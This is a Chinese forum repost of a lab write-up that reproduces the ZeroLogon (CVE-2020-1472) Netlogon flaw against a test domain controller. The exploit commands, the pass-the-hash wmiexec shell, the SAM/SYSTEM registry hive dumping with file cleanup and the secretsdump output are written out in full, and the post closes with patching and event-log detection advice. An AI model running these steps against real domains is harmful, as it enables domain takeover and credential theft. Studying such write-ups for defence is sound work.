搜索

[2058] 2021-02-23_ZeroLogon漏洞复现(CVE-2020-1472)

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-16
2021-02-23_ZeroLogon漏洞复现(CVE-2020-1472) Z e r o L o g o n 漏 洞 复 现 ( C V E - 2 0 2 0 - 1 4 7 2 ) 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 2 - 2 3 收 录 于 话 题 # 内 网 渗 透   , 8 # 漏 洞 复 现   , 1 9 漏 洞 简 介 漏 洞 简 介   是   W i n d o w s   上 一 项 重 要 的 功 能 组 件 ， 用 于 用 户 和 机 器 在 域 内 网 络 上 的 认 证 ， 以 及 复 制 数 据 库 以 进 行 域 控 备 份 ， 同 时 还 用 于 维 护 域 成 员 与 域 之 间 、 域 与 域 控 之 间 、 域 D C 与 跨 域 D C 之 间 的 关 系 。 当 攻 击 者 使 用   N e t l o g o n   远 程 协 议   ( M S - N R P C )   建 立 与 域 控 制 器 连 接 的 易 受 攻 击 的   N e t l o g o n   安 全 通 道 时 ， 存 在 特 权 提 升 漏 洞 。 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 网 络 中 的 设 备 上 运 行 经 特 殊 设 计 的 应 用 程 序 。 漏 洞 影 响 漏 洞 影 响 漏 洞 复 现 漏 洞 复 现 搭 建 搭 建 搭 建 搭 建 见 上 一 篇 文 章 《 W i n d o w s 域 环 境 搭 建 》 靶 机 信 息 ： N e t L o g o n 组 件
漏 洞 验 证 漏 洞 验 证 h t t p s : / / g i t h u b . c o m / S e c u r a B V / C V E - 2 0 2 0 - 1 4 7 2 已 验 证 靶 机 存 在 该 漏 洞 。 漏 洞 利 用 漏 洞 利 用 整 个 利 用 过 程 大 概 如 下 ： 置 空 域 控 密 码 获 取 新 凭 据 获 取 半 交 互 式 s h e l l - w m i e x e c . p y 获 取 初 始 凭 据 （ s a m ） 还 原 域 控 密 码 置 空 域 控 密 码 置 空 域 控 密 码 获 取 新 凭 据 获 取 新 凭 据 这 里 获 取 的 凭 据 是 域 管 理 员 密 码 已 被 置 空 后 的 凭 据   用 / i m p a c k e t / e x a m p l e s / s e c r e t s d u m p . p y 来 获 取 域 控 中 保 存 的 h a s h   密 码 已 成 功 置 空   ： p y t h o n 3   z e r o l o g o n _ t e s t e r . p y   D C   1 9 2 . 1 6 8 . 2 3 5 . 1 2 8 p y t h o n   e x p / c v e - 2 0 2 0 - 1 4 7 2 - e x p l o i t . p y   d c   1 9 2 . 1 6 8 . 2 3 5 . 1 2 8
获 取 半 交 互 获 取 半 交 互 s h e l l - w m i e x e c . p y w m i e x e c . p y 获 取 到 H A S H 之 后 接 下 来 我 们 就 可 以 利 用 w m i e x e c . p y 登 录 , 生 成 一 个 半 交 互 式 s h e l l ( 管 理 员 权 限 ) . / w m i e x e c . p y   - h a s h e s   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : b e d 8 f a 8 6 7 b 8 1 a e 2 0 c 4 b 1 c 4 9 c 9 f 8 f d 7 2 e   q w e / A d m i n i s t r a t o r @ 1 9 2 . 1 6 8 . 2 3 5 . 1 2 8 获 取 初 始 凭 据 （ 获 取 初 始 凭 据 （ s a m ） ） 需 要 恢 复 域 控 的 密 码 ， 所 以 要 从 s a m 中 提 取 初 始 （ 置 空 前 ） 的 凭 据 t i p s : 注 册 表 解 析 注 册 表 解 析 H K L M S A M ： 包 含 用 户 密 码 的 N T L M   V 2   H a s h H K L M S e c u r i t y ： 包 含 缓 存 的 域 记 录 L S A   s e c r e t s / L S A 密 钥 H K L M s y s t e m - a k a   S Y S K E Y ： 包 含 可 以 用 于 加 密 L S A   s e r c r e t 和 和 S A M 数 据 库 的 密 钥   获 取 到 s h e l l 后 ,   利 用 注 册 表 命 令 将 目 标 机 上 的 的 s a m 、 s y s t e m 等 文 件 导 出 r e g   s a v e   H K L M S A M   s a m . s a v e r e g   s a v e   H K L M S Y S T E M   s y s t e m . s a v e r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . s a v e   下 载 导 出 的 文 件 到 本 地 g e t   s a m . s a v e g e t   s y s t e m . s a v e g e t   s e c u r i t y . s a v e 删 除 保 存 在 目 标 机 上 的 文 件 d e l   / f   s a m . s a v e d e l   / f   s y s t e m . s a v e d e l   / f   s e c u r i t y . s a v e   利 用 / e x a m p l e s / s e c r e t s d u m p . p y 解 析 已 经 下 载 到 在 本 地 的 s a m p y t h o n 3   s e c r e t s d u m p . p y   - s a m   s a m . s a v e   - s e c u r i t y   s e c u r i t y . s a v e   - s y s t e m   s y s t e m . s a v e   L O C A L $ M A C H I N E . A C C :   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 9 a f c 9 0 8 1 7 a 4 7 6 2 d 2 a d 1 f 8 e e 9 1 5 4 8 7 7
初 始 初 h a s h 为 ： 3 1 9 a f c 9 0 8 1 7 a 4 7 6 2 d 2 a d 1 f 8 e e 9 1 5 4 8 7 还 原 域 控 密 码 还 原 域 控 密 码 验 证 是 否 还 原 成 功 已 成 功 还 原 。 漏 洞 原 理 漏 洞 原 理 N e t l o g o n   特 权 提 升 漏 洞 ( C V E - 2 0 2 0 - 1 4 7 2 ) 原 理 分 析 与 验 证 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 1 9 9 4 3 漏 洞 防 御 漏 洞 防 御 1 .   安 装 补 丁 h t t p s : / / m s r c . m i c r o s o f t . c o m / u p d a t e - g u i d e / z h - c n / v u l n e r a b i l i t y / C V E - 2 0 2 0 - 1 4 7 2 威 胁 狩 猎 威 胁 狩 猎 日 志 审 计 日 志 审 计 通 过 日 志 审 计 及 时 发 现 攻 击 者 的 攻 击 行 为   。 C o m p M g m t L a u n c h e r   -       服 务 器 管 理 器 e v e n t v w r   -     事 件 查 看 器 c o m p m g m t . m s c   -     计 算 机 管 理 C o m p M g m t L a u n c h e r   : e v e n t v w r ： $ M A C H I N E . A C C :   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 9 a f c 9 0 8 1 7 a 4 7 6 2 d 2 a d 1 f 8 e e 9 1 5 4 8 7 7 p y t h o n 3   r e i n s t a l l _ o r i g i n a l _ p w . p y   d c   1 9 2 . 1 6 8 . 2 3 5 . 1 2 8   3 1 9 a f c 9 0 8 1 7 a 4 7 6 2 d 2 a d 1 f 8 e e 9 1 5 4 8 7 7 p y t h o n 3   s e c r e t s d u m p . p y   q w e / A d m i n i s t r a t o r : @ d m i n i s t r a t o r 2 0 2 1 @ 1 9 2 . 1 6 8 . 2 3 5 . 1 2 8   - j u s t - d c - u s e r   ' D C $ '
可 以 通 过 事 件 I D   4 7 4 2 和   事 件 I D   5 8 0 5   初 步 判 断   Z e r o l o g o n   漏 洞 攻 击 ： 事 件 事 件   I D   4 7 4 2 ： 事 件 事 件   I D   5 8 0 5 ： 例 图 ： C V E - 2 0 2 0 - 1 4 7 2 E v e n t R e a d e r . p s 1 帮 助 监 视 与 C V E - 2 0 2 0 - 1 4 7 2 相 关 的 N e t l o g o n 安 全 通 道 连 接 更 改 相 关 的 事 件 I D 的 脚 本 : 详 见 详 见 h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / e n - u s / t o p i c / s c r i p t - t o - h e l p - i n - m o n i t o r i n g - e v e n t - i d s - r e l a t e d - t o - c h a n g e s - i n - n e t l o g o n - s e c u r e - c h a n n e l - c o n n e c t i o n s - a s s o c i a t e d - w i t h - c v e - 2 0 2 0 - 1 4 7 2 - 2 6 4 3 4 h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / e n - u s / t o p i c / h o w - t o - m a n a g e - t h e - c h a n g e s - i n - n e t l o g o n - s e c u r e - c h a n n e l - c o n n e c t i o n s - a s s o c i a t e d - w i t h - c v e - 2 0 2 0 - 1 4 7 2 - f 7 e 8 c c 1 7 - 0 3 0 9 - 1 d 6 a - 3 0 4 e - 5 b a 7 3 c d 1 a 1 1 e # W i n d o w s
参 考 ： h t t p s : / / g i t h u b . c o m / d i r k j a n m / C V E - 2 0 2 0 - 1 4 7 2 h t t p s : / / w w w . s e c u r a . c o m / b l o g / z e r o - l o g o n h t t p s : / / g i t h u b . c o m / r i s k s e n s e / z e r o l o g o n h t t p s : / / g i t h u b . c o m / b b 0 0 / z e r 0 d u m p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理